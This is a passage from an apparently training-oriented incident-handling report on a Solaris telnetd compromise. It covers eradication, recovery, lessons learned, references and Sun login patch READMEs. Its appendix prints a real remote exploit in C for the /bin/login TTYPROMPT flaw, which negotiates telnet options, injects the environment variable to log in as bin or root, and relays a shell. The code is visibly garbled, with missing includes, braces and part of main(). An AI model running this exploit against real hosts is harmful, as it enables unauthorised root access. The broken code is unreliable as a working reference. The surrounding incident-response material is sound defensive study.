After checking .history file for root and bin account, they found all the command use from the shell. They also found all the installed software and my sniffer. Then, they noticed that another machines was also suspected compromised by the attacker.

They also run chkrootkit for checking known root kit. Chkroot kit will check for unknown root kit install in UNIX and Windows machine.

Eradication

As defined in the policy, the server needs to take off from the network. This method is to prevent more damages to the entire network. The subsequent event is that the system will be down for some time. The team informed the management the status update.

The team decides to replace telnet daemon with Openssh. This will eliminate any attacks for targeting telnet daemon again. They also changed the ftp service with scp. Scp copies files between hosts on a network using the same authentication and provides the same security as ssh. Ssh and scp both running on port 22.

The operation between servers had been reviewed and refine. Server hardening step were conduct and all services were evaluated and disabled accordingly. The team decides to rebuild the system from scratch in order to access their Disaster Recovery plan.

The team searched and listed all patches for necessary services and planned to deploy it to all servers.

Recovery

The team decides to do a fresh installation of the server and restore the last data from their weekly backup. The system admin group was taken with all the necessary action as per below for the compromise system:

o       Install the fresh system.

o       Restore the data from weekly backup

o       Replace telnet with ssh

o       Replace ftp with scp

o       Install latest patches

o       Reconfigure syslog.conf

o       Reviewed and refine services

1.      Check /etc/inetd.conf

§         Edit and remark unnecessary services.

§         Restart inetd or reboot the system

2.      Check /etc/rc*.d

§         Rename Sxxservices to Kxxservices

o       Run # netstat –an for known connection

o       Consolidate all log to loghosts.

o       Reviewed and refine firewall rules

o       Install Internal IDS

o       Apply tcp-wrappers for all services in the system

o       Perform port scanner to check open ports.

o       Prepare documentation and announcement to all user pertaining the new rules and regulation

The system was totally restored in less than 24 hours.

Lesson Learned

This incident had demonstrated that their incident handling and forensic SOP were well defined and worked. Many important lessons were learnt after the analysis was done by the forensic team. The most important is that, they did not have any security alert mechanisms from internal threats. This is why perimeter defence plans need to be reviewed. Below are the lists of the lessons learned from this incident:-

Perimeter defence and host hardening need to be perform to all system.
Applying file integrity checker help a lot to detect any intrusion.
Installing Intrusion Detection systems which monitored the internal thread.
Patches needs to be updated regularly.
Check for all modem installed in user LAN. Using war dialer from external network to all phone lines registered to the company.
All host need to be harden. Review all the services and ensure only valid services running on the machine. This need to apply to all servers in the network.

Conclusion

The attack was launched from an internal user LAN which resulted in total compromise of the whole public web and email server. Imagine, if the threat is real. The attacker will use more destructive programs, tools and methods such as installing rootkit, IRC egg boot, Log eraser, hidden directory, undetected sniffer and many more. Compromising user in LAN is much easier to do than to the public server. Users with modems are greatest threat for this kind of network set-up. Security auditing needs to be done regularly. Security personnel must undergo constant re-tooling and skill building courses.

Security must never be an afterthought. There is too much at stake. The attacks were launched with an intention to test a company’s incident handling response SOP. This was done using the code presented. Nevertheless, the attacks were not devious in nature. A real hacker would not have hesitated to do more damage or take over the whole system.

References

Tcp wrappers for Solaris

http://www.kempston.net/solaris/tcpwrappers.html

Openssh for solaris

http://sunfreeware.com/openssh.html

Password sniffer - dsniff for Solaris

http://soldc.sun.com/freeware/details/detail_dsniff_2.3_8_Intel.html

Secunia security advisories

http://www.secunia.com/advisories/7196/

The exploit code

http://packetstormsecurity.nl/0210-exploits/telnet.c

Bugtraq discussion

http://security-archive.merton.ox.ac.uk/bugtraq-200210/0019.html

Alert from Securiteam

http://www.securiteam.com/unixfocus/6R0050K5PC.html

Sun patches

http://sunsolve.sun.com/pub-cgi/show.pl?target=patchpage

Telnet protocol

http://www.scit.wlv.ac.uk/~jphb/comms/telnet.html

Forensic services

www.niser.org.my/forensic

DIBS Portable Evidence Recovery Unit

http://www.dibsusa.com/products/peru.html

DIBS RAID- Rapid Action Imaging Device

http://www.dibsusa.com/products/raid.html

Symantec Ghost

http://enterprisesecurity.symantec.com/products/products.cfm?productID=3

Detecting root kit

http://www.chkrootkit.org/

Winscp.

http://winscp.vse.cz/eng/

Appendix

a. The exploit code

/******************************************************************

Solaris 2.6, 7, and 8 /bin/login TTYPROMPT remote exploit.

Tested for:

SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc

SunOS 5.7, 5.8 x86

Code by lion

lion@cnhonker.net

Welcome to HUC website http://www.cnhonker.com

******************************************************************/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define BUFLEN 1024

char shellcode[]= "\x97\x97\x97\x97\x97\x97";

void usage(char *p)

   printf("Usage: %s [-u user] [-p port] <-h host>\n\n", p);

   printf("       -u: login username (default: bin), try \"root\" :)\n");

   printf("       -p: port to use (default: 23)\n\n");

   printf("\n");

   exit(0);

void msg(char *msg)

    perror(msg);

    exit(errno);

u_int32_t get_ip(char *host)

    struct hostent *hp;

    if(!(hp = gethostbyname(host))){

        fprintf(stderr, "cannot resolve %s\n", host);

        return(0);

    return(*(u_int32_t *)hp->h_addr_list[0]);

int get_socket(char *target, int port)

    int sock;

    u_int32_t ip;

    struct sockaddr_in sin;

    if(!(ip = get_ip(target)))

        return(0);

    bzero(&sin, sizeof(sin));

    sin.sin_family = AF_INET;

    sin.sin_port = htons(port);

    sin.sin_addr.s_addr = ip;

    if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)

        msg("socket");

    if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)

        msg("connect");

    return(sock);

void send_wont(int sock, int option)

    char buf[3], *ptr=buf;

    *ptr++ = IAC;

    *ptr++ = WONT;

    *ptr++ = (unsigned char)option;

    if(write(sock, buf, 3) < 0)

        msg("write");

    return;

void send_will(int sock, int option)

    char buf[3], *ptr=buf;

    *ptr++ = IAC;

    *ptr++ = WILL;

    *ptr++ = (unsigned char)option;

    if(write(sock, buf, 3) < 0)

        msg("write");

    return;

void send_do(int sock, int option)

    char buf[3], *ptr=buf;

    *ptr++ = IAC;

    *ptr++ = DO;

    *ptr++ = (unsigned char)option;

    if(write(sock, buf, 3) < 0)

        msg("write");

    return;

void send_env(int sock, char *name, char *value)

    char buf[BUFLEN], *ptr = buf;

    *ptr++ = IAC;

    *ptr++ = SB;

    *ptr++ = TELOPT_NEW_ENVIRON;

    *ptr++ = TELQUAL_IS;

    *ptr++ = NEW_ENV_VAR;

    strncpy(ptr, name, BUFLEN-20);

    ptr += strlen(ptr);

    *ptr++ = NEW_ENV_VALUE;

    strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);

    ptr += strlen(ptr);

    *ptr++ = IAC;

    *ptr++ = SE;

    if(write(sock, buf, (ptr - buf)) < 0)

        msg("write");

    return;

void do_negotiate(int sock)

    send_wont(sock, TELOPT_TTYPE);

    send_wont(sock, TELOPT_NAWS);

    send_wont(sock, TELOPT_LFLOW);

    send_wont(sock, TELOPT_LINEMODE);

    send_wont(sock, TELOPT_XDISPLOC);

    send_will(sock, TELOPT_LFLOW);

    send_will(sock, TELOPT_LINEMODE);

    send_wont(sock, TELOPT_OLD_ENVIRON);

    send_will(sock, TELOPT_NEW_ENVIRON);

    send_will(sock, TELOPT_BINARY);

    send_env(sock, "TTYPROMPT", shellcode);

    return;

void write_attack_buf(int sock, char *user)

    char outbuf[128],*s_buf;

    int i, j;

    if(!(s_buf = (char *)calloc(BUFLEN*2, 1)))

        msg("malloc");

    strcpy(outbuf, user);

    for(i = 0; i < 65; i++)

       strcat(outbuf, " c");

    strcat(outbuf, "\n");

    printf("send to target:\n%s\n", outbuf);

    if(write(sock, outbuf, strlen(outbuf)) < 0)

        msg("write");

    /* -- 2 reads for reading the garbage which screws up term -- */

    if((j = read(sock, s_buf, BUFLEN)) < 0)

        msg("read");

    if((j = read(sock, s_buf, BUFLEN)) < 0)

        msg("read");

    free(s_buf);

    return;

int main(int argc, char **argv)

    int c, n, sockfd, port = 23;

    char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";

    char user[36], host[36];

    fd_set rset;

    printf("============================================================\n");

    printf("Solaris 5.6 7 8 telnetd Remote exploit\n");

    printf("Tested for:\nSunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc\nSunOS 5.7, 5.8 x86\n");

    printf("Code by lion, Welcome to HUC website http://www.cnhonker.com\n\n");

    if(argc < 0)

            msg("select");

        if(FD_ISSET(sockfd, &rset)){

            bzero(buf, sizeof(buf));

            if((n = read(sockfd, buf, sizeof(buf))) < 0)

                msg("read");

            if(n == 0){

                printf("EOF\n");

                exit(0);

            write(1, buf, n);

        if(FD_ISSET(0, &rset)){

            bzero(buf, sizeof(buf));

            if((n = read(0, buf, sizeof(buf))) < 0)

                msg("read");

            if(n == 0)

                exit(0);

            write(sockfd, buf, n);

b. Solaris Patches

Patch-ID# 111085-02

Keywords: security loginlog buffer overflow

Synopsis: SunOS 5.8: /usr/bin/login patch

Date: Dec/13/2001

Solaris Release: 8

SunOS Release: 5.8

Unbundled Product:

Unbundled Release:

Xref: This patch available for x86 as patch 111086

Topic: SunOS 5.8: /usr/bin/login patch

Relevant Architectures: sparc

BugId's fixed with this patch: 4291278 4516885

Changes incorporated in this version: 4516885

Patches accumulated and obsoleted by this patch:

Patches which conflict with this patch:

Patches required with this patch:

Obsoleted by:

Files included with this patch:

/usr/bin/login

Problem Description:

4516885 *login* security problem

(from 111085-01)

4291278 /bin/login misses failure when logging to /var/adm/loginlog

Patch Installation Instructions:

--------------------------------

For Solaris 2.0-2.6 releases, refer to the Install.info file and/or

the README within the patch for instructions on using the generic

'installpatch' and 'backoutpatch' scripts provided with each patch.

For Solaris 7-8 releases, refer to the man pages for instructions

on using 'patchadd' and 'patchrm' scripts provided with Solaris.

Any other special or non-generic installation instructions should be

described below as special instructions.  The following example

installs a patch to a standalone machine:

       example# patchadd /var/spool/patch/104945-02

The following example removes a patch from a standalone system:

       example# patchrm 104945-02

For additional examples please see the appropriate man pages.

Special Install Instructions:

-----------------------------

None.

README -- Last modified date:  Thursday, December 13, 2001

2.6

Patch-ID# 105665-04

Keywords: security loginlog invalid username RETRIES

Synopsis: SunOS 5.6: /usr/bin/login patch

Date: Dec/13/2001

Solaris Release: 2.6

SunOS Release: 5.6

Unbundled Product:

Unbundled Release:

Xref: This patch available for x86 as patch 105666

Topic: SunOS 5.6: /usr/bin/login patch

       NOTE:   Refer to Special Install Instructions section for

                IMPORTANT specific information on this patch.

Relevant Architectures: sparc

BugId's fixed with this patch: 4081309 4086934 4090873 4516885

Changes incorporated in this version: 4516885

Patches accumulated and obsoleted by this patch:

Patches which conflict with this patch:

Patches required with this patch:

Obsoleted by:

Files included with this patch:

/usr/bin/login

Problem Description:

4516885 *login* security problem

(from 105665-03)

4090873 RETRIES in /etc/default/login ineffective

(from 105665-02)

4081309 *login* no longer accepts white space separated env vars on input

(from 105665-01)

4086934 loginlog not updated when username is valid

Patch Installation Instructions:

--------------------------------

Refer to the Install.info file within the patch for instructions on

using the generic 'installpatch' and 'backoutpatch' scripts provided

with each patch.  Any other special or non-generic installation

instructions should be described below.

Special Install Instructions:

-----------------------------

        NOTE :  To get the complete fix for bug 4081309 (login no longer

                accepts a white space separated env vars on input), we

                recommend that you also install /usr/lib/libpam.so.1 patch,

                106257-02, or its newer revision.

README -- Last modified date:  Thursday, December 13, 2001

2.7

Patch-ID# 112300-01

Keywords: security login buffer overflow

Synopsis: SunOS 5.7: usr/bin/login Patch

Date: Dec/13/2001

Solaris Release: 7

SunOS Release: 5.7

Unbundled Product:

Unbundled Release:

Xref: This patch available for x86 as patch 112301

Topic: SunOS 5.7: usr/bin/login Patch

Relevant Architectures: sparc

BugId's fixed with this patch: 4516885

Changes incorporated in this version: 4516885

Patches accumulated and obsoleted by this patch:

Patches which conflict with this patch:

Patches required with this patch:

Obsoleted by:

Files included with this patch:

/usr/bin/login

Problem Description:

4516885 *login* security problem

Patch Installation Instructions:

--------------------------------

For Solaris 2.0-2.6 releases, refer to the Install.info file and/or

the README within the patch for instructions on using the generic

'installpatch' and 'backoutpatch' scripts provided with each patch.

For Solaris 7-8 releases, refer to the man pages for instructions

on using 'patchadd' and 'patchrm' scripts provided with Solaris.

Any other special or non-generic installation instructions should be

described below as special instructions.  The following example

installs a patch to a standalone machine:

       example# patchadd /var/spool/patch/104945-02

The following example removes a patch from a standalone system:

       example# patchrm 104945-02

For additional examples please see the appropriate man pages.

Special Install Instructions:

-----------------------------

None.

README -- Last modified date:  Wednesday, December 19, 2001